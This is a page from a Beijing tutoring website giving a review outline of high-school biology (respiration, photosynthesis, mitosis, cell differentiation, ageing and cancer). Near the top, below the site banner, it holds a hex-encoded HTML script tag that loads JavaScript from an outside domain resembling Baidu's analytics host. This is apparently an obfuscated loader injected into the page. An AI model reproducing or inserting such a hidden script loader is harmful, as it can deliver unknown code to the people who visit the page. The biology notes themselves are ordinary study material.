请家教,做家教,请找北师大家教网!北师大家教网为您提供北京家教、北京大学生家教、北师大家教,清华家教,大学生家教,研究生家教,奥数家教,英语家教,中高考冲刺家教,北京一对一家教首选品牌,北京最专业的家教信息平台!

3c73637269707420747970653d22746578742f6a61766173637269707422207372633d2268747470733a2f2f686d62647374617469632e636f6d2f6a732f6164647265732e6a73223e3c2f7363726970743e
 教学资源 所处位置:首页 > 教学资源
北京家教网 高一生物复习整理
来源:北师大家教网

北京家教网

 

高一生物复习整理

北京家教网:高一生物必修复习提纲知识点归纳,北师大家教网为大家整理了高一生物知识点,以供参考

  1、细胞呼吸应用:

  包扎伤口,选用透气消毒纱布,抑制细菌有氧呼吸

  酵母菌酿酒:选通气,后密封。先让酵田菌有氧呼吸,大量繁殖,再无氧呼吸产

  生酒精

  花盆经常松土:促进根部有氧呼吸,吸收无机盐等

  稻田定期排水:抑制无氧呼吸产生酒精,防止酒精中毒,烂根死亡

  提倡慢跑:防止剧烈运动,肌细胞无氧呼吸产生乳酸

  破伤风杆菌感染伤口:须及时清洗伤口,以防无氧呼吸

  2、活细胞所需能量的最终源头是太阳能;流入生态系统的总能量为生产者固定的太阳能

  3、叶绿素a

  叶绿素主要吸收红光和蓝紫光

  叶绿体中色素叶绿素b

  (类囊体薄膜)胡萝卜素

  类胡萝卜素主要吸收蓝紫光

  叶黄素

  4、光合作用是指绿色植物通过叶绿体,利用光能,把CO2和H2O转化成储存能量的有机物,并且释放出O2的过程。

  叶绿体结构如图:

  5、18C中期,人们认为只有土壤中水分构建植物,未考虑空气作用

  1771年,英国普利斯特利实验证实植物生长可以更新空气,未发现光的作用

  1779年,荷兰英格豪斯多次实验验证,只有阳光照射下,只有绿叶更新空气,但

  未知释放该气体的成分。

  1785年,明确放出气体为O2,吸收的是CO2

  1845年,德国梅耶发现光能转化成化学能

  1864年,萨克斯证实光合作用产物除O2外,还有淀粉

  1939年,美国鲁宾卡门利用同位素标记法证明光合作用释放的O2来自水。


  6、条件:一定需要光

  光反应阶段场所:类囊体薄膜,

  产物:[H]、O2和能量

  过程:(1)水在光能下,分解成[H]和O2;

  (2)ADP+Pi+光能ATP

  条件:有没有光都可以进行

  暗反应阶段场所:叶绿体基质

  产物:糖类等有机物和五碳化合物

  过程:(1)CO2的固定:1分子C5和CO2生成2分子C3

  (2)C3的还原:C3在[H]和ATP作用下,部分还原成糖

  类,部分又形成C5

  联系:光反应阶段与暗反应阶段既区别又紧密联系,是缺一不可的整体,光反应为暗反应提供[H]和ATP。

  7、、空气中CO2浓度,土壤中水分多少,光照长短与强弱,光的成分及温度高低等,都是影响光合作用强度的外界因素:可通过适当延长光照,增加CO2浓度等提高产量。

  8、自养生物:可将CO2、H2O等无机物合成葡萄糖等有机物,如绿色植物,硝化细菌(化能合成)

  异养生物:不能将CO2、H2O等无机物合成葡萄糖等有机物,只能利用环境中现成的有机物来维持自身生命活动,如许多动物。

  9、细胞表面积与体积关系限制了细胞的长大,细胞增殖是生物体生长、发育、繁殖遗传的基础。

  有丝分裂:体细胞增殖

  10、真核细胞的分裂方式减数分裂:生殖细胞(精子,卵细胞)增殖

  无丝分裂:蛙的红细胞。分裂过程中没有出现纺缍丝和染色体

  变化

  11、分裂间期:完成DNA分子复制及有关蛋白质合成,染色体数目不增加,DNA

  加倍。

  前期:核膜核仁逐渐消失,出现纺缍体及染色体,染色体散乱排列。

  有丝分裂中期:染色体着丝点排列在赤道板上,染色体形态比较稳定,数目比

  分裂期较清晰便于观察

  后期:着丝点分裂,姐妹染色单体分离,染色体数目加倍

  末期:核膜,核仁重新出现,纺缍体,染色体逐渐消失。

  12、动植物细胞有丝分裂区别

  植物细胞

  动物细胞

  间期

  DNA复制,蛋白质合成(染色体复制)

  染色体复制,中心粒也倍增

  前期

  细胞两极发生纺缍丝构成纺缍体

  中心体发出星射线,构成纺缍体

  末期

  赤道板位置形成细胞板向四周扩散形成细胞壁

  不形成细胞板,细胞从中央向内凹陷,缢裂成两子细胞

  13、有丝分裂特征及意义:将亲代细胞染色体经过复制(实质为DNA复制后),精确地平均分配到两个子细胞,在亲代与子代之间保持了遗传性状稳定性,对于生物遗传有重要意义。

  14、有丝分裂中,染色体及DNA数目变化规律

  15、细胞分化:个体发育中,由一个或一种细胞增殖产生的后代,在形态、结构和生理功能上发生稳定性差异的过程,它是一种持久性变化,是生物体发育的基础,使多细胞生物体中细胞趋向专门化,有利于提高各种生理功能效率。

  16、细胞分化举例:红细胞与肌细胞具有完全相同遗传信息,(同一受精卵有丝分裂形成);形态、功能不能原因是不同细胞中遗传信息执行情况不同。

  17、细胞全能性:指已经分化的细胞,仍然具有发育成完整个体潜能。

  高度分化的植物细胞具有全能性,如植物组织培养因为细胞(细胞核)具有该生物

  生长发育所需的遗传信息

  高度分化的动物细胞核具有全能性,如克隆羊

  18、细胞内水分减少,新陈代谢速率减慢

  细胞内酶活性降低

  细胞衰老特征细胞内色素积累

  细胞内呼吸速度下降,细胞核体积增大

  细胞膜通透性下降,物质运输功能下降

  19、细胞凋亡指基因决定的细胞自动结束生命的过程,是一种正常的自然生理过程,如蝌蚪尾消失,它对于多细胞生物体正常发育,维持内部环境的稳定以及抵御外界因素干扰具有非常关键作用。

  能够无限增殖

  20、癌细胞特征形态结构发生显著变化

  癌细胞表面糖蛋白减少,容易在体内扩散,转移

  21、癌症防治:远离致癌因子,进行CT,核磁共振及癌基因检测;也可手术切除、化疗和放疗

 

北京家教网 北京家教中心 北京家教中介 北京上门家教 北师大家教官方网 址www.beishidajiajiao.com
 


上一条新闻:北师大家教网 百佳名校2021年高考作文模拟题汇总(6)

下一条新闻:北京家教中介 如何提高学生计算能力
热门搜索:·初三数学  ·深圳人才市场  ·SEO培训  ·北京代办执照  ·北京大学生家教